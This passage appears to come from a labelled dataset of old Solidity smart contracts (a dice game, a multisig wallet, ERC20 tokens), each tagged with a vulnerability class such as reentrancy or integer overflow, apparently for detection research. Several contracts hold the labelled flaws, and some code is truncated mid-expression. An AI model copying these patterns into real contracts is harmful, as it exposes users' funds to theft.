houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init discontinued contract data //todo int public totalBets = 5671; uint public maxPendingPayouts; //init discontinued contract data //todo uint public totalWeiWon = 2091633232860934129948; //init discontinued contract data //todo uint public totalWeiWagered = 10852397031892670514693; /* * player vars */ mapping (bytes32 => address) playerAddress; mapping (bytes32 => address) playerTempAddress; mapping (bytes32 => bytes32) playerBetId; mapping (bytes32 => uint) playerBetValue; mapping (bytes32 => uint) playerTempBetValue; mapping (bytes32 => uint) playerDieResult; mapping (bytes32 => uint) playerNumber; mapping (address => uint) playerPendingWithdrawals; mapping (bytes32 => uint) playerProfit; mapping (bytes32 => uint) playerTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed ResultSerialNumber, bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); /* * init */ function Etheroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 235000; } /* * public function * player submit bet * only if game is active & bet is valid can query oraclize and set player vars */ function playerRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { /* * assign partially encrypted query to oraclize * only the apiKey is encrypted * integer query is in plain text */ //todo update encrypted query bytes32 rngId = oraclize_query(""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\""serialNumber\"",\""data\""]', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BP+K1lKZnLQrFNqP8pPqiyIdpVwBwMX1X1/XmJXjZhjQeR+q7Tjbxlkcv4Z3GdbTeX8q4FZBAo0hLZ77BlTfSHhjKcQkD/gpDIzIG7UTQ+BWpzeOBJGAE67R+sM03bsiSdt0VRVe2VnATN3JVMwNrm2E3S09zu4=},\""n\"":1,\""min\"":1,\""max\"":100,\""replacement\"":true,\""base\"":10${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", gasForOraclize); /* map bet id to this oraclize query */ playerBetId[rngId] = rngId; /* map player lucky number to this oraclize query */ playerNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ playerBetValue[rngId] = msg.value; /* map player address to this oraclize query */ playerAddress[rngId] = msg.sender; /* safely map player profit to this oraclize query */ playerProfit[rngId] = ((((msg.value * (100-(safeSub(rollUnder,1)))) / (safeSub(rollUnder,1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[rngId]); /* check contract can payout on win */ if(maxPendingPayouts >= contractBalance) throw; /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* player address mapped to query id does not exist */ if (playerAddress[myid]==0x0) throw; /* keep oraclize honest by retrieving the serialNumber from random.org result */ var sl_result = result.toSlice(); sl_result.beyond(""["".toSlice()).until(""]"".toSlice()); uint serialNumberOfResult = parseInt(sl_result.split(', '.toSlice()).toString()); /* map result to player */ playerDieResult[myid] = parseInt(sl_result.beyond(""["".toSlice()).until(""]"".toSlice()).toString()); /* get the playerAddress for this query id */ playerTempAddress[myid] = playerAddress[myid]; /* delete playerAddress for this query id */ delete playerAddress[myid]; /* map the playerProfit for this query id */ playerTempReward[myid] = playerProfit[myid]; /* set playerProfit for this query id to 0 */ playerProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[myid]); /* map the playerBetValue for this query id */ playerTempBetValue[myid] = playerBetValue[myid]; /* set playerBetValue for this query id to 0 */ playerBetValue[myid] = 0; /* total number of bets */ totalBets += 1; /* total wagered */ totalWeiWagered += playerTempBetValue[myid]; /* * refund * if result is 0 result is empty or no proof refund original bet value * if refund fails save refund value to playerPendingWithdrawals */ if(playerDieResult[myid]==0 || bytes(result).length == 0 || bytes(proof).length == 0){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempBetValue[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 4, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to playerPendingWithdrawals */ if(playerDieResult[myid] < playerNumber[myid]){ /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, playerTempReward[myid]); /* safely calculate payout via profit plus original wager */ playerTempReward[myid] = safeAdd(playerTempReward[myid], playerTempBetValue[myid]); LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win - external call to an untrusted contract * if send fails map reward value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempReward[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 2, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if(playerDieResult[myid] >= playerNumber[myid]){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (playerTempBetValue[myid]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if(!playerTempAddress[myid].send(1)){ /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function playerWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = playerPendingWithdrawals[msg.sender]; playerPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */ /* player can try to withdraw again later */ playerPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return playerPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyTreasury { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInWei) public onlyOwner { contractBalance = newContractBalanceInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ if(newMaxProfitAsPercent > 10000) throw; maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); if(!sendTo.send(amount)) throw; LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or playerBetId: * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions */ function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public onlyOwner { /* safely reduce pendingPayouts by playerProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit); /* send refund */ if(!sendTo.send(originalPlayerBetValue)) throw; /* log refunds */ LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { suicide(owner); } }",./Dataset/reentrancy (RE)/,5,5 35004.sol,"pragma solidity ^ 0.4 .9; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Premine is StandardToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Premine( ) { balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000; // Update total supply (100000 for example) name = ""Premine""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""PRE""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 37768.sol,"pragma solidity 0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract XRT is MintableToken, BurnableToken { string public constant name = ""Robonomics Beta""; string public constant symbol = ""XRT""; uint public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }",./Dataset/integer overflow (OF)/,4,4 1073.sol,"pragma solidity ^0.4.23; contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractToken is Token, SafeMath { function AbstractToken () { } function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } mapping (address => uint256) accounts; mapping (address => mapping (address => uint256)) private allowances; } contract RGLSToken is AbstractToken { uint256 constant MAX_TOKEN_COUNT = 60000000 * (10**18); address private owner; mapping (address => bool) private frozenAccount; uint256 tokenCount = 0; bool frozen = false; function RGLSToken () { owner = msg.sender; } function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = ""Regulus Token""; string constant public symbol = ""RGLS""; uint8 constant public decimals = 18; function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); emit Transfer(0x0, msg.sender, _value); return true; } return false; } function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } event Freeze (); event Unfreeze (); event FrozenFunds(address target, bool frozen); event RefundTokens(address _token, address _refund, uint256 _value); }",./Dataset/integer overflow (OF)/,4,4 0x00c4B398500645eb5dA00a1a379a88B11683ba01_EximchainToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // Owned - Ownership model with 2 phase transfers // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // Implements a simple ownership model with 2-phase transfer. contract Owned { address public owner; address public proposedOwner; event OwnershipTransferInitiated(address indexed _proposedOwner); event OwnershipTransferCompleted(address indexed _newOwner); function Owned() public { owner = msg.sender; } modifier onlyOwner() { require(isOwner(msg.sender) == true); _; } function isOwner(address _address) public view returns (bool) { return (_address == owner); } function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) { require(_proposedOwner != address(0)); require(_proposedOwner != address(this)); require(_proposedOwner != owner); proposedOwner = _proposedOwner; OwnershipTransferInitiated(proposedOwner); return true; } function completeOwnershipTransfer() public returns (bool) { require(msg.sender == proposedOwner); owner = msg.sender; proposedOwner = address(0); OwnershipTransferCompleted(owner); return true; } } // ---------------------------------------------------------------------------- // OpsManaged - Implements an Owner and Ops Permission Model // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // // Implements a security model with owner and ops. // contract OpsManaged is Owned { address public opsAddress; event OpsAddressUpdated(address indexed _newAddress); function OpsManaged() public Owned() { } modifier onlyOwnerOrOps() { require(isOwnerOrOps(msg.sender)); _; } function isOps(address _address) public view returns (bool) { return (opsAddress != address(0) && _address == opsAddress); } function isOwnerOrOps(address _address) public view returns (bool) { return (isOwner(_address) || isOps(_address)); } function setOpsAddress(address _newOpsAddress) public onlyOwner returns (bool) { require(_newOpsAddress != owner); require(_newOpsAddress != address(this)); opsAddress = _newOpsAddress; OpsAddressUpdated(opsAddress); return true; } } // ---------------------------------------------------------------------------- // Finalizable - Basic implementation of the finalization pattern // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract Finalizable is Owned { bool public finalized; event Finalized(); function Finalizable() public Owned() { finalized = false; } function finalize() public onlyOwner returns (bool) { require(!finalized); finalized = true; Finalized(); return true; } } // ---------------------------------------------------------------------------- // Math - General Math Utility Library // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- library Math { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 r = a + b; require(r >= a); return r; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(a >= b); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 r = a * b; require(r / a == b); return r; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } // ---------------------------------------------------------------------------- // ERC20Interface - Standard ERC20 Interface Definition // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Based on the final ERC20 specification at: // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } // ---------------------------------------------------------------------------- // ERC20Token - Standard ERC20 Implementation // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract ERC20Token is ERC20Interface { using Math for uint256; string private tokenName; string private tokenSymbol; uint8 private tokenDecimals; uint256 internal tokenTotalSupply; mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) allowed; function ERC20Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokenHolder) public { tokenName = _name; tokenSymbol = _symbol; tokenDecimals = _decimals; tokenTotalSupply = _totalSupply; // The initial balance of tokens is assigned to the given token holder address. balances[_initialTokenHolder] = _totalSupply; // Per EIP20, the constructor should fire a Transfer event if tokens are assigned to an account. Transfer(0x0, _initialTokenHolder, _totalSupply); } function name() public view returns (string) { return tokenName; } function symbol() public view 